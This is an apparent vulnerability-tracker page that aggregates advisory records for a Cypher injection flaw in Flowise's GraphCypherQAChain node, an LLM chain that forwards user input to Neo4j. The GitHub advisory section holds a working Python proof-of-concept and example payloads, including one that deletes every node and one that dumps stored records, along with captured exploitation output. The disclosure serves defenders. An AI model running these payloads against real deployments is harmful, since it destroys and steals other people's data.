Flowise: Cypher Injection in GraphCypherQAChain
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-41274
PublishedFlowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.
- Source published
- 23 Apr 2026 21:12:51 UTC
- Source modified
- 24 Apr 2026 18:19:51 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
euvd · EUVD-2026-25313
PublishedFlowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 23, 2026, 9:12:51 PM
dateUpdated: Apr 24, 2026, 6:19:51 PM
- Source published
- Apr 23, 2026, 9:12:51 PM (timezone not stated)
- Source modified
- Apr 24, 2026, 6:19:51 PM (timezone not stated)
- Observed here
- 28 Oct 2026 05:07:38 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
nvd · CVE-2026-41274
PublishedFlowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-943
Original publisher date fields
published: 2026-04-23T22:16:38.740
lastModified: 2026-10-26T21:10:00.170
1 source CPE criteria · context only
- cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 23 Apr 2026 22:16:38 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 10:10:07 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv · GHSA-28g4-38q8-3cwc
Published## Summary The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) | ## Prerequisites To exploit this vulnerability, the following conditions must be met: 1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server 2. **Vulnerable Chatflow Configuration**: - A chatflow containing the **Graph Cypher QA Chain** node - Connected to a **Chat Model** (e.g., ChatOpenAI) - Connected to a **Neo4j Graph** node with valid credentials 3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`) <img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" /> ## Root Cause In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization: ```typescript async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping } ``` ## Impact An attacker with access to a vulnerable chatflow can: 1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields 2. **Data Modification**: Create, update, or delete nodes and relationships 3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database 4. **Schema Discovery**: Enumerate database structure, labels, and properties ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args() payload = { "question": args.injection, "overrideConfig": {}, } headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}" url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}" try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main() ``` ### Test Environment Setup **1. Start Neo4j with Docker:** ```bash docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest ``` **2. Create test data (in Neo4j Browser at http://localhost:7474):** ```cypher CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'}) CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'}) CREATE (a)-[:KNOWS]->(b) ``` **3. Configure Flowise chatflow** (see screenshot) ### Exploitation Steps ```bash # Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id <FLOW_ID> --token <API_KEY> \ --injection "MATCH (n) DETACH DELETE n" ``` ### Evidence **Cypher injection reaching Neo4j directly:** ``` $ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...} ``` The error message comes from Neo4j, proving the injected Cypher is executed directly. **Data destruction confirmed:** ``` $ python poc.py ... --injection "MATCH (n) DETACH DELETE n" {"json":[],...} ``` Empty result indicates all nodes were deleted. **Sensitive data exfiltration:** ``` $ python poc.py ... --injection "MATCH (n) RETURN n" {"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...} ```
- Source published
- 16 Apr 2026 21:54:26 UTC
- Source modified
- 5 May 2026 16:11:51 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Publisher rating · HIGH